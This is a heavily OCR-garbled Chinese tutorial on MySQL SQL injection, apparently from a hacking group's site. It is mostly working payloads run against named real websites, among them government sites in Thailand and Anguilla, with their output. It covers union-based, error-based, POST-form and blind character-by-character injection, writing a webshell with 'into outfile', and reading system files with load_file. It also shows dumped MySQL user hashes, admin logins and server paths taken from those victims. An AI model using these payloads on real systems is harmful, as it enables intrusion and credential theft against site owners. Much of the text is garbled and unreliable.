i fl JH jsp  MySQL DX AL root, jsp &Aphp RINGPC, AEH, EAABRRITEA, HEATALS IRBESINNAE T,
T B AL, FiBAjsp MySQLIFEA “1php  MySQLIFEEA TV BRILT — 5%,
AAGIEAL:

.jsp?id=0'union*select *1,concat(database(),0x3a,user(),0x3a,version(),3,group._concat(user,0x3a,password,0x3a,file_priv,0x3a,host,
0x3c62723¢) * from* mysql.user%23

(REIBECIE o

I :root@localhost.localdomain:4.1.9-max

root:*DE97688E913C3B9BBESASE3BADC17AF2FA375627:Y:localhost
,Foot:*DE97688E913C3B9BEESASE3BADC17AF2FA375627:Y develope
,david:*EAEC372EEB24AA40524B6BFE31927C5EA30F2048: N:localhost
,FO0t:*DE97688E913C3B9BBESASE3BADC17AF2FA375627:Y:211.72.178. 186
,FOOt:*DE97688E913C3BOBBESASE3BADC17AF2FA375627:Y:211.72.178.80
,test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29:Y:develope
,test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29:Y:211.72.178. |6
,test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29:Y:211.72.178. |8
test:*94BDCEBE19083CE2A1F959FD0O2F964C7AF4CFC29:Y:211.72.178. |0
,Superht:*E06323846BD27021132723BA8B6408F7E9623AB24:Y:%
,root:*DE97688E913C3B9BBESASE3BADC1? 375627:N:59.124.219 1
,Foot:*DE97688E913C3B9B8SESASE3B, 17AF2FA375627:N:%

I o 3] F+ silic

hostM% #nn BASMAMySQLER AR, #Mi— A hostM% H file_priv MY MK ' superht:" E06323846BD27021132723BA86408F7E9623A B24
I fift f hash Mjivha353, CLAiR WA MroothXBR, nIBAfEHISQLI T, K3kMwebshell:

l select jsp— flif i hex ¥} into outfile '/¥§HE /webshelljsp's l

R, M 75 85 v B B ES TT A MIE, BT ete /passwd i XPE, AR LA BEARICERIEET Aar/wwwHl home/criterion 44
T, X AAIETERA BN 1 /public_html Fl /htdocs WISEER #BA RLM BIGTE . & 240K N Tomcat (AL E XX FE, B Tinux B
Apache i WAL E PGS R Tomeat, HABER A K.

ATEAT RIS 7 A, fREU-ADIRFSE, RN 2R S, R ERFR o] 5=l 5O 210551 6 ﬂi’“'&/
W TRIGUAIEA SRR GRS, IR7585 %0 Apache, Efiphp, FEREETomcatlflif, FBREEEGA ete/
profileffl, RIRAMEK, BORXZmP, TA:

I select load_file('/ete/profile’);
KA SRR T 7 Tomecat B84 /usr/local/jakarta-tomeat-5.0.19

\Jqu-vl
1 imaers isio test (test) valies (ENMISANRENEC/ERORRIAN

(e sio 352 )

[Tar o | 8 r (MRBSA.) (Wwse. )
pothamunge fuse/X11REDN Mer
wraat pathornge
# No core files by defact
o 200 s Pheted 2381
:Am-'mn"m'mwmr F—
NOSTNAME ' bevhostrame

export PATH CLASSPATH JAVA_MOME
] -2 "SINPUTRC" 8 1 f "SHOME inputrc” J; then
, WPTRCa/etcinoure

€xport PATH USER LOGRAME MAIL MOSTNAME MISTSIZE INPUTRC

export CAY -

expon

CLASSPATHe, $IAVA ¥ % Jor:tuse!
° Jove-3.1.4-bevjor

oport 4 A .3.6-0en Jor SCLASSPATH
expont .

I FHEIE A H R P cont/serverxmIBURTT 7 SRR . REIMySQLA webshell
AR HAZRTT T webshell.

for 1 in fesc/pretied/®.oh ; &0
#0507 J: then

3
done

[
| 2 | I, 5.‘..

MISTSIZE=1000 ] I

!

N ——



3} eheiMysaLEABAEBARD

TEACIIM T ET RERESIXH —Fiist: fr s, IR RAE, B 2R daabaseOR RN 1o A ARSI A HU B 1K
IE TR B l
AL hup://www.ikfdor.jp/research/theme/index.php?id=1, SFERX B HIRIAIR R L Sunion BT AL FIRIAIM IR, 7%
Z AR A, 5 SR A A o R B R AR, AL hexORAT R, HHITAER, RATEALINTY BEOH7, I

IR, SRR A Tl b

| http://www.tkfd.or.jp/research/theme/index.php?id-1+and+ 1-2+union*select*1,2,3,4,5,6,7/"
BRO7T IR BRJTARA T Blbh ET\. Hﬁ 6*1“\!3%5 MmN, -

' - THE TOKYO FOUNDATION xplorer
I S o

TP RRE WEV) sEA) IRM EMH)

i SER | ERERT -7 | BRER - AE-RRME .|

| mominr—<

i | Btz
+ i ITN o 6 (E#7 8 : 00/00/00)

« BT |9£3F'ﬂ

o6 (# 8 : 00/00/00)

* YIRERT Im

+* 7N o6 (E#E: 00/00/00)

+2-397 | BYEF

HRA ©6 (E#7B:00/00/00)
RERGTPOTOT 2 b
BEOTIOVI M

o p—— © 6 (E#7 B8 : 00/00/00) . ,.7 ﬁ W

| vt /bwww BLACKBAP.ORC

I AN b, A PRI B I

| a5 Vo)

N S [
* * &
&wg
iE
dam

| http://www.tkfd.or.jp/research/theme/index.php?id=1+and + 1-2+union‘select+1,2,3,4,5,database(),7/* |
I LA SR A T

I '!mm[;'*},’},_,‘};“ iﬂ&o( % Nefi<s - 22 Ers
I e
I :ml; 2 a ﬁ . [ .
R, WWW.BLACKBAD.ORC
WL IR 58 i il b oL AN GE 8 71 database() IR SSEIT il /N R R0 £ B wiie st b . S50 IR DR A, BRI hex Q%50 AV R
I AHIN FRORIHRE BRI BA T, R R SIA ARGU T Ak di— PHRGU R i 4 sl B SR AL -

http://www.tkfd.or.jp/research/theme/index.php?id=1+and+ 1-2*union*select+1,2,3,4,5,hex(concat(database(),0x5f5f,user (), 0x5f5f,

version())),7/*

I
S




5D rho:MySCLEABRERG

[reeem—— FyPn=2 > WRUR > MEERT -7 >

I = I
~ "~ -
7
il
LIRS Y P
* IIA-BE
P
e
zoun

* s | B

| 2w

- VRGN I A%
+ AR BN
«7AM
+0
«2-37 | svir

ERA ) o

REAFLOTOI T | sse »
AxOTIOIIh 1/ e

e e % 7
BORE RRTOP J z’ }Tﬁ‘m

| vt WWW.BLACKBAP.ORC

f20ic Il 52 4m b :

| 73716C5F64625F66752E6D 79382E73756974652E 6A70406463362E65746975732E 6A705F342E312E31322D6CF 67 |

KUt — PREAL:

| ql_db__fu.my8.suite.jp@dc6.ctius.jp__4.1.12-log |
G i i % 36305 01 RI0NS TREAL B 2 Il "I A4S P RIZE &)

R s Mo i BARA BROR: gl db; SEBARA T fu.my8.suitejp@de6.etius.jp; ERIEFHE RRA: 4.1.12-log

RAEUCHAGE S PM S M hex ol 1%, RO 5] w85 Hllang-cn WPGRKI {1 2 004 %%, X4 hexRunhex A, HIY% I
B, AP IR E IR A AR R PR A 45, RBARAE, WBIAMSOLE, EARLANT,
I BB convert( I
i etk
My SQLIMAI KU, Ak 2JLF gb2312 Flluef-8 CHEREA, FARARAMERD . Bf— ARAMALatn1, R W n{rhE
WABT, AR suser() COIN a8 A bl XA SRR A B 32 7)), SROTRER AR A I, XA MlconvertHd5K latin1 % ik I
1o ML fdm:
| CONVERT(group_concat(DISTINCT user,0x3a,password,0x3a,host) - USING:latin1) | I
RR 20 fh R AR 1, SRR Mr.Coollft SR ey
http://www.gov.ai/vacancies/details.php?id=-1+*UNION+SELECT"1,2,3,4,5,6, CONVERT (group _concat(DISTINCT +user,0x3a,
I password,0x3a,host)* USINGlatin1) * from *mysql.user/* I

R P —




php+MySGL S E2 Y IE b R XS 1 55102

A % SR T 22 A, WATA SR, B order by WIBAI S5 7B, RSB union select
PR, suimil IS A A 2B R XM A UIm: xooccom/n, b ARAECT, il M08 k51, BHERTEA R

R IR e SQLIEA RS I SQLIG AN, ERfrifAk e, fi-—AD7BRIE A, — HH union select 87,547 14
F o R T order bySE2 BREE

g ik: BRI XA H 0T BRIV pldm:

http://www.gym spa.com.tw/news.php ?handle=detail&id=12'order* by 13%23
(1§
TSR IR, 7 BOERWIIA F13

http://www.gym - spa.com.tw/news.php Zhandle=detail&id=0"union*select*1,2,3,4,5,6,7,8,9,0,11,22,33%23
NWTEARE, ki3

http://www.gym spa.com.tw/3
R Bk I RABUR T ol FRAT null 543 5 it 8T

hitp://www.gym-spa.com.tw/news.php?handle-detail&id=0"union *select *1,2,null,4,5,6,7,8,c oncat(database (),0x3a,user(),0x3a,version
(),0x3a,@@datadir),0,11,22,33%23

M6 /home/gymspa/public_html/
B £ gymspa_data

ISR gvmspa_user@localhost
BRI RRA: 5.0.95 community
Blisgie: var/lib/mysql/

i %#Bh: /admin/login.php

B admin/123456

I TBA: spa user I




I REJE: B, AR CIRERS I L A5 A ) I

il - http://fine.me.uk/halifax/archive/number.php?id-123, Fea i R )55 4o
SQL: ERROR: unterminated quoted string at or near "' = main.id" at character 47(request was:) SELECT main.” FROM "numbers”
I main WHERE 123' = main.id Number 123" not found in the database I
I Xﬂ(E) REEO BEVY =@ IRD =0 I
o BEEs ‘-‘_‘—'v__éﬂ.Wﬁ_ i & Halifax G&S Databas... X v_
I SQL: ERROR: unterminated quoted string at or near "' = main.id" at character 47 I
(request was:) SELECT main.* FROM "numbers" main WHERE 123’ = main.id
I Number 123' not found in the database o ’H’ i I
’bm.luum ore

I main ALAII AR, d 7. WHERE 16 - main.id (8850 T WHERE 16 - id, @RGS0 ASWEL, KWAkA I

W 2 SRS DAL, TR, B H. 24?2 AL A Ik
| http://fine.me.uk/halifax/archive/number.php?id-id-1+and 123 |

I A M EARBA AL ... L b I
| http://fine.me.uk/halifax/archive/number.php?id-id-1+and +123 |
PR p:

l Number id=1 and 123 not found in the database ’

Hh REE BBV sEse) IRD &)

v bR (23 | @ phpETIABEMMIE.. /’ Halifax G&S Databas...

Number id=1 and 123 not dfd é% M&e

m_----




I’® MysaLizARSsEmE— T

I A THIREMAGR AR, 47 2R3, ol, AKRBREE T, aBiAln, LB &~ I
| select :GROUP_CONCAT(DISTINCT table_name)+frominformation_schema.columnswhere table_schema-BtBif§ #fkifihex |
BEARMYSOQL SxHBBEA & B ARG o1, ARz ant, il 05 imromBIBEES, A% THIURE romf ix 2% :
| from*information_schema.columns*wheretable_schema-database() I I
fullaiin, P 7L EERA 5 7. flm:
I http://www.blanchardgroup.ca/news.php?id=-1+union‘select 1,2, CONVERT(GROUP_CONCAT(DISTINCT table_name)+ USING I
+latin1),4,5,6+from *information_schema.columns+where* table _schema=database()
I & Tl ECONY ERT OBk ain HRINA, 30 (hpe MySQLEEA RS A2

r
[
[
[
[
[
[
[
[



I
I
I
O ——

I wsoLmpnti

P& A Mg

rekguitars.com/english.php?site=dir&nr=-2+union*select *1,2,concat(@@version_comment,0x5c,@@datadir,0x5¢c,@@tmpdir,0x5¢,
@@version,0x5¢,user(),0x5¢,database(),0x5¢c,@@version _compile_0s,0x5¢,@@version_compile_machine,0x5¢c,@@warning_count,0x5c,
@@system _time_zonc,OxSc,@@query_cachc_size),4,5,6,7.8,9,0,1,2, 13,14,15,16,17,18

@@yersion_comment
@@datadir

@@tmpdir

@@version

user()

database()
@@yersion_compile_os
@@yersion_compile_machine
@@warning_count

@@system _time_zone

@@query_cache_size

concat(@@version_comment,OXSc,@@datadir,()xsc.@@tmpdir.OxSc,@@version,0x5c,user0,0x5c.database0,0x5c.@@version-compile-
08,0x5¢,@@version_compile_machine,0x5¢c,@@warning_count,0x5¢,@@system_time_zone,0x5c,@@query_cache_size)

fi5i:

Source distribution
/home/mysql50/data h16/
/home/tmp/datah16
5.0.90-log
fulara_2@85.128.166.242
fulara_2

unknown linux- gnu
x86_64

0

CEST

16777216

SBREAA, ALtIESfiE.




AR

BBA X IR, php MySQL A, KRATREI A A, — B MySQL HiR W, Mphpds MySQLIS fIWE 5 7
W ALRESS A SOVARIIIEA, ZV9h BL php WEEAME, php S nWBASSCPHRRME— Frill 7, X RS BLA fEAS XXM lezLui«Z
M.
AL AL hup://zone h.com.cn/detail.php?ID-55 and +1-1, FIAN T SLH MY (REOM12, A4 il I
http://zone-h.com.cn/detail.php?ID=55union*select+1,2,3,4,5,6,7,8,9,10,11
FB11:  “SQLEMHIR: The used SELECT statements have a different number of columns”
http://zone-h.com.cn/detail.php?ID=55+union*select+1,2,3,4,5,6,7,8,9,10,11,12 I
TH2:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use l
near 'union select 1,2,3,4,5,6,7,8,9,10,11,12" at line 1

TR, Rl . BEERREE, BRI MyS QLIFHR I WK GEABEIE. MySQL R WHEAE, 10T LR
2, B A4k I
1, ZARERSY, WA AGET R W AR MBS IR, Bl php?id-08K 4 .php?id-12+and +1-2

2 BIESQUIKG & i f, fif A I
l union select 1 from (select+count(*),concat(floor(rand(0)*2), GE AMRE #&ii fi1))a from information_schema.tables group by a)b I

3, R A, BRI IR AR, o U/, el DA 2R, el AR %23 A # 1Y I
4, EARBARI R, IAKGUR A select XX from YYIFIFEA,

AR 2 UM — SRR iR G A, Ik A KRR AR B, AfiEupdata ARE select into A insert A€ load file() A
group_concat(), filflconcat() L AHEM. I
AT B IGS, AL Alimic PR BIZTE, WAL select XX from YY limit abo axlBARJLASTHG, MOTTERABA %, bA
Hbs—JUUAEE, X R A, WAL S imin 0, SR U880, limic 1RSS50, — KA. I

FimFIZSERBEAGHRA LR, EalDEATEA G f R R A SRS X
MySQLS /s i B g 2, BRI, Bolld i R AHER IS 1038 T L
I select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir) l I
5 EmiSQUIGffT A4t APUARERT BREA I 6
http://zone-h.com.cn/detail.php?ID=0+union*select* 1+ from* (select *count(*),concat(floor(rand(0) *2),(select * concat (0x3a,database(), I
0x3a,user(),0x3a,version(),0x3a,@@datadir)))a* from* information_schema.tables* group *by+a)b

Pl — PRERIR 7 SQLIFIHIX: I
| Duplicate entry ':me110_me110:me110@localhost:5. 1.34: /use local /mysql/var/" for key ‘group_key' |
Duplicate entry eyl 515 P BEAL IS, B AT “17 5 me110. me 10BN #; me110@localhost ALBIEAE P 5.1.31 &
RRAS; /ust/local/mysql/var/i% U RMySQLIMER AT . I

’é http://zone-h.com.cn/detail.php?ID=0+union+select+1+from= (select+ count("),concat(fioor(rand(0)"2), (select~ concat(

| & zone-h.com.cn X

SQLiZ ) $41%: Duplicate entry '1:mc110_mc110me110@localhost:5.1.34:/usrlocal/mysqlivar”" for key 'group_key'




AR

I PRI IR S, MySQL &/ M5 B A1 £l 04 038 1) Ay I
select table _name from information_schema.tables where table schema = database() limit 0,1 l
I select table_name from information_schema.columns where table_schema = database() limit 0,1 ‘ I
FXASQLIG AT A 25U if, SRR BREA i
I http://zone-h.com.cn/detail.php?ID=0+union*select*1+from*(select*count(*),concat(floor(rand(0)*2),(select * table_name* from*informati rI
_schema.tables*where+table_schema-=database() limit+0,1))a* from*information_ schema.tables*group tby +a)b r

I i SIS QLI f5iR:
I Duplicate entry '15epe_admin’ for key 'group_key' l

Hepisepe adminfRBIRAGER, AWBIECRT: 1

@& nhttp://zone-h.com.cn/detail. php?ID=0+union+select+1+from=(select+count(”)

& zone-h.com.cn X

I 5 Jd Silic *§ Google ¥, Google 58 &3 Google &% [ Facebook €} AA W Twitte

SQLIE @) 4512 Duplicate entry ‘1St $for key 'group_key'

H4E Fimia®y, 200045 limic0,1 808 limit 1,1 limit 2,1 ...... — A5 “SQLIANIR: The used SELECT statements have a different
number of columns” (IR, EIREEEGT 7o Bdiiaif&— L4y Xt Sepe_admin, 5epe_log, Sepe-_title, bbs,category, hkd_adixt, link,
news, A AR CRATI A BRAMSQLAT &L

select column_name from information_schema.columns where table_name = 'Sepe_admin’ limit 0,1 l

I Fftable_name ‘Sepe admin' B Mhex B EHE0: table _name-0x356570655(61646d696¢, i AR :

http://zone h.com.cn/detail.php?ID=-1+union*select* 1 from* (select*count(*),concat(floor (rand (0) *2),(select*column_name * from*
information_schema.columns‘where*table_name=0x356570655{61646d696¢ * limit*0,1))a* from *information _schema.tables* group +by*
a)b

fi5l5epe_admind B 147 B A1

http://zone h.com.cn/detail.php?ID=-1+union*select1+from* (select*count(") ,concat(floor(rand(0) *2),(select*column_name *from*
information_schema.columnswhere table_name=0x356570655f61646d696¢ *limit+ 1,1))a* from *information_schema.tables* group +by*
a)b

B4 Timit i $5epe_admin & B P3E24 7 B Madminname

http://zone h.com.cn/detail.php?ID=-1+union*select1+from* (select*count(’) ,concat(floor(rand(0) *2), (select*column_name from*
information_schema.columnswhere *table_name=0x35657065561646d696¢ *limit+2,1))a* from *information_schema.tables*group +by*
a)b

I B4 Timit i $15epe_admin &BP3E34F B Madminname

SRR SRR BRS¢, B2 K 2R E 5 Sepe_admin, EARPEHA: 1dadminname,

adminpass,

w—------

N ——



L) wsoLiigBRiiAi

MilmBAA IR, SQLIGfA:

I select concat(0x3a,1d,0x3a,adminname,0x3a,adminpass) from 5epe_admin l

wAR:

http://zone h.com.cn/detail.php?1D=-1+union*select+ 1+ from*(select* count(*),concat(floor(rand(0)*2),(select * concat(0x3a,adminname,

0x3a,adminpass)+from+5epe_admin+limit+0, 1))a+from i nformation_schema.hbles+group+by+a)l)

& zone-h.com.cn x

ViR EI5E: admin:8e02a1062¢785a4b13eca9bh78¢21783

@ http://zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+ count(*), concat(floor(rand(0)*2),(sel

ZH K, —KMySQLIHIR

Mid: zone h.com.cni

SQLiEH)$#12: Duplicate entry '1:admin8e02a1062c785a4b13ecadbb78e21783' for key 'group_key'
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Lia Ll
nHAR
Riema SEES
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2000- co0 o
STEN AEES: $2RELEASE
AGBE 2211 (Una) PHOIS 28
BRXL
AT AL
BARF SESTUEIZE: DOMARIINC] 10_met 10MmwaToo
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Eaigmmusn:
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IY) FezmierosTaiZEREA

fi 0 A REBR I M RPRER S i, P4 “Your Box Own3z By Behrooz Ice - Q7x ~Sha2ow -Virangar -Ali Eagle
I “iman_taktaz - Satanic2000” “We Love Iran” ““Ashivane Digital Security Team™ R I 5z, —YErpIRIf 82 A F 4 MA KR 1
Lzone hAPLR, REWZA TRZBGEIILY, SR riRiE, fi rAKHPP,
P REINE 240 ¢ ik fnipp.
Mk 7585 ip M 203.154.183.18,  Liln— 21 A2 1184 xx.cad.goah (e MBIk R 0, . R4S T4 www.cad.go.th
(www.cad.go.th/ webadmin/), $RARA 74 Eimshifka%e, JA LR A BRHDRIR, BUF fiMA B, AUARZAPT. A
Eniipn] LGS ARG

{ Use " admin‘or 1=12 i
I e

__Login |
-

| B il
’bwww.lumn.m
I A rhaxAaG, % fiEasyWebTime 8.6, AMERS 2408 RRIEEM——H" #: admin'or 1-14# FWHT 12345655 bh,
o ol 5 :
INSERT INTO log_user (log_date , log_time , log_mid , log_user , log_date_text , log_ip , log_module , log_module_detail , log
I detail ) VALUES (2011-11-19', '10:39:41', "', 'admin’or 1-1#', '19/11/2011 10:3%:41', '24.77.19.26', 'login’, 'login’, '1iingszuy’)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
I near " at line 1
Kl I AR EAINSERT INTORAM IR, KL XA,
I You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use

near " at line 1

WG APOSTEA, i H AU S . X G, #— ASQL GEAIMPOST it ], i 53 ol 4 R A AR R 1
Bo M ARRE, 20 7. Mr g

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group

I by a)b#

EWTR, SalFRh, SR RNk,

Message from webpage

A The length of Usemame is invalid

I
I
I
I
-



fhitdavaseriptfifi BF, SeLLd AIRER, KSR EA R P, TS 7 A hul XH:

<form name="form1" method="post" action="http://203.154.183.18/login.php">

<textarea rows='5" style="font family:Times New Roman;font size:14pt;" cols="80" name="EWT_User">admin’ union select 1 from
(select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information_schema.tables group by a)
b#</textarea>

<input name="EWT_Password" type="password" class="texfield" id="EWT_Password" size="22" value="xxxx" />

<input name="Submit" type="submit" class="submit" value="Login" />

<input name="Flag" type="hidden" id-"Flag" value="Login" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

<input name="password_hidden" type="password" style="display:none" value="Welcome" size="10" />

</form>

SRR, Tine 1M method &R TTAMPOST, il action AP RSN, X EMAGRE s | i fZN BORIM, 0

AactionZ A UEL SR foritihil . AT mERIL R A 1, B A s hil 2B i), £ER A XAHCPERATEA BN,
A REEH

admin' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit 0,1))a from information
schema.tables group by a)b#

TR (ol b

SELECT * FROM user_info WHERE EWT _User = "admin’ union select 1 from (select count(*),concat(floor(rand(0) *2),(select user()
from mysql.user limit 0,1))a from information_schema.tables group by a)b#' AND EWT Pass - 'ead16ed0759d46a8de 5863259077499
AND EWT Status = 'Y'

Duplicate entry 'Ibizpoten@203.154.183.18' for key 1

[a hitp://203.154.183.18/login php P-2CX I () $2 4s%
| © 315418318 x B p . e
(5 oee svere ene

(select count(*),concat(floor(rand(0)*2),(select user() from mysql.user limit
0,1))a from information_schema.tables group by a)b#' AND EWT_Pass =
'ea416ed0759d46a8de58f63a59077499" AND EWT_Status = "Y'

Duplicate entry '1bizpoten@203.154.183.18' for key

. 3 il

| SELECT * FROM user_info WHERE EWT_User = 'admin’ union select 1 from
WWW.BLACKBAP.

i fIDuplicate entry "1bizpoten@203.154.183.18' for key VAR RE SR (Aemim s g 1) AR Aif

select user() from mysql.user limit 0,1

e B T G ], dn:

select user from mysql.user where host="%' limit 0,1

I WARKEAR SR GE A%, FBAUERZ N, (DR T AR RG LM B, mysqkr:
Mrf: &S

kk

I bizpoten “7F6E575FAD18674CADD3B8495C79FBASB58090D1//12QwAsZx %
webboard *51E610BE77CFOF81D2861AF 180B496D 1CA2A7637 localhost

rool

-

“8BIBA157688A49AF BE7513677D CDAF7(43257018 %

B 127.00.1




i) EszhiierosTiEznmiA

Bl h R R A%
‘admin’ union select 1 from (select count(*),concat(floor(rand(0)*2), (select table_name from information_schema.tables where table
schema-database() limit 0,1))a from information_schema.tables group by a)b#

ABA702A, piALLAR, SHEASYIOR, HMRL 7, R miuser infogl A2 ¢ $RIMTT &

[ amphur,article_list,block,block_text,blog_category,blog_comment,org_type,user_info |

I 130K 75 25 141203, 154.183. 18108 R L HIE RS template/template, WX Siwebshell AL T .
N, MRF G windows, 7 REMAL, HAFBeOMRA A LA FEIL —AFRRIA, SBB SR ... AL LA F L
BHET.

r
[
[
[
[
[
[
[
[



o) MySGLSEA(]

AR (L ARRIAR G REo R ATEA LS 0T LR SRS I 50 TEAORKVERIE, A G TR IR, Bl BRI Fit. i

AN, e fi— SOASQLALER, Tt RASKR ILICIFR MR, AU Rl H2E 50 I
FAORGEA L, & AB2BMINE A wl:
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin
AR ARY 218
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'

select userid from demo_b2b_member where user = 'admin""You have an error in your SQL syntax; check the manual

that corresponds to your MySQL server version for the right syntax to use near "admin™ at line 1
WRBORCEIRW 7 7o $iA— MEARmAE (fme%) -

$js_user = trim($_GET|["js_user"]);

if($js_user){

$num = $db-—>num_rows("select userid from demo_b2b_member where user = '$js_user'™);

if(1$num)

echo "<div class-tips3~</div>";

else
echo "<div class-tips2> Jil " 4 L BT M </div-";
}
PAGETF1sUIARI & i js_user B RSA HLIE ML A 7 Bl hEr, T HMySQLEAES ¢, BT84 S on Bl (T i 8, il
IR ENA, B2EAVEMunionfFiDR A, A ARRA:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and*left(version(),1)-5%23

EA MR FEATDR A A ORI U IS QLI R 4R 1
select userid from demo_b2b_member where user = 'admin'and left(version(),1)-5#'

WA TN, AR 0SS num) AP, W P AL BN |, IBZRRARSEST . DR fidatabase O8I
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and length(database() -6%23
database 0 KJ&6
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and‘left(database(),1)="I'%23
1
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and+left(database(),2)-'li'%23
li
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin’andlef t(database(),3)="lic'%23
lic
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and+left(database (),4)-"icl'%23
licl
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and+left(database(),5)="licln'%23
licln

I http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'andleft(database(),6)-"liclny'%23
licclny

lengthOPAEOAL TS 4853 (PRI I, Il % 2208y, WIBADA T/ T HRS T 50K VUM &l i 2T RTERA— PentOMBehifik
TR, KTlefOME, nIBAAfIZEMSQLTM. FORA— Lol i frhl w6

L f—



o) MySGLE;EAI])

I http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and-*length (pass)-32%23
select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'

EAH lengthOBRE P passkE SBIF, P8R 405 Wk it 2860 | o X PRI, passHImmselecty Fuserid b Jd — 4~ &
Ptdemo b2b_admin, FiPAA & Maiselectfifl, B 20X HERAET 5.
RYPRREAFRDZILN, AREAEA T, BROER. WhE.
http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and*left(pass,1)='0
hitp://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and+left(pass,2)="04

hitp://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin'and “left(pass,3) -'048

I hitp://www.smarth2b.net/demo/h2b/member/check.php?js_user-admin'and left(pass,4) -'0484

hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin’and left(pass,5)-'04843

hitp://www.smarth2b.net/demo/b2h/member/check.php?js _user-admin’and left(pass,6)-'04843¢

I http://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin‘and “left(pass,7) -'04843¢9

hitp://www.smarth2b.net/demo/h2b/member/check.php?js_user-admin'and left(pass,8) ~'04843¢9f

I http://www.smarth2b.net/demo/b2b/member/check.php?js_user=admin'and left(pass,9)-'04843¢9f9
hitp://www.smarth2b.net/demo/b2h/member/check.php?js _user-admin’and left(pass,10)-'04843¢9f91
http://www.smarth2b.net/demo/h2b/member/check.php?js. user-admin‘and left(pass, 11)-'04843¢9/91a

I http:/ /www.smarth2b.net/demo/b2b/member/check. php?jsJlser=admin'and Jef t(pam, 12)-'04843¢9M91ad
http://www.smarth2b.net/demo/h2b/member/check.php?js _user-admin'and left(pass,13)-'04843e90 1adf

I http://www.smarth2b.net/demo/b2h/member/check.php?js _user=admin’and “left(pass,14) -'04843¢99 1adf2
http://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin‘and left(pass,15) -'04843¢9f9 1adf22
hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and left(pass,16)-'04843¢9/91adf228

I hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin‘and left(pass,17)-'04843¢9f9 1adf 2287
hitp://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin‘and ‘left(pass,18) -'04843¢9f91adf2287¢
http://www.smarth2b.net/demo/b2b/member/check.php?js._user=admin‘and left(pass, 19) -'04843¢9f91adf2287¢0

I hitp://www.smarth2b.net/demo/h2b/member/check.php?js_user-admin'and ‘left(pass,20)-'04843¢9M1adf2287¢0a
hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and left(pass,21)-'04843¢9f91adf2287c0af

I http://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin’and “left(pass,22)-'04843¢9f9 1adf2287c0af5
hitp://www.smarth2b.net/demo/h2b/member/check. php?js._user-admin‘and “left(pass,23) -'04843¢9f91adf2287c0af5f
hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and left(pass,24)-'04843¢9M91adf2287¢0af5fe

I hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user=admin'and left(pass,25)-'04843¢9f91adf2287c0af5fe 1
http://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin’and left(pass,26)-'04843¢9f91adf2287c0af5fe 16

I http://www.smarth2b.net/demo/b2b/member/check.php?js _user-admin‘and “left(pass,27) -'04843¢9/91adf2287c0af5fe 167
hitp://www.smarth2b.net/demo/h2b/member/check.php?js_user-admin'and left(pass,28)-'04843¢9M91adf2287c0af5f¢ 1675
http://www.smarth2b.net/demo/h2b/member/check.php?js_user-admin'and “left(pass,29)-'04843¢99 1adf2287c0af5fe 16750

I http://www.smarth2b.net/demo/b2h/member/check.php?js _user-admin’and left(pass,30) - 04843e991adf2287c0af5fe 16750a
http://www.smarth2b.net/demo/h2b/member/check.php?js._user-admin‘and left(pass,31) -'04843¢9f91adf2287¢0af5fe 16750a3
hitp://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin’and left(pass,32) -'04843¢9f91adf2287¢0af5f ¢ 16750a35

I KEAE32, RmdshiE, @& Sc2wy

B, B AR R T

ixhy, FADRAdemo b2b adminBAYMMEE, AT AR i & B

I
i -



) mysoLEizAN

http://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'andlength((select* table_name* from *information_schema.
tables*limit+0,1))<100%23

http://www.smarth2b.net/demo/b2b/member/check.php?js_user-admin'and+length((select *table_name*from*information_schema.
tables*limit+0,1))-14%23

ThriafriISQLI AL

select userid from demo_b2b_member where user = 'admin’and length((select table_name from information_schema.tables limit 0,1))

14#
LimixA 60, & Tinformation schema AW, wIBAZ % HEMySQLIEAXEORA — PRANHRE X KT limit x, y BIEL, 0]
PLEEMySQL T

I P IR S AL ascii BRE MIhex bR EX 1o XA BREIN EOSOREE HphpIGPCAE X, flm:

http://www.smartb2b.net/demo/b2b/member/check.php?js_user-admin'and+ substr(left(pass,1),1,1)=char(48) %23
select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#

substrQ FIATIAZ EMySQL T, WRAE, BRRH £4F 7o Char( i if08R 7 H 45 Masciibh 87 .

S —



aZHTA

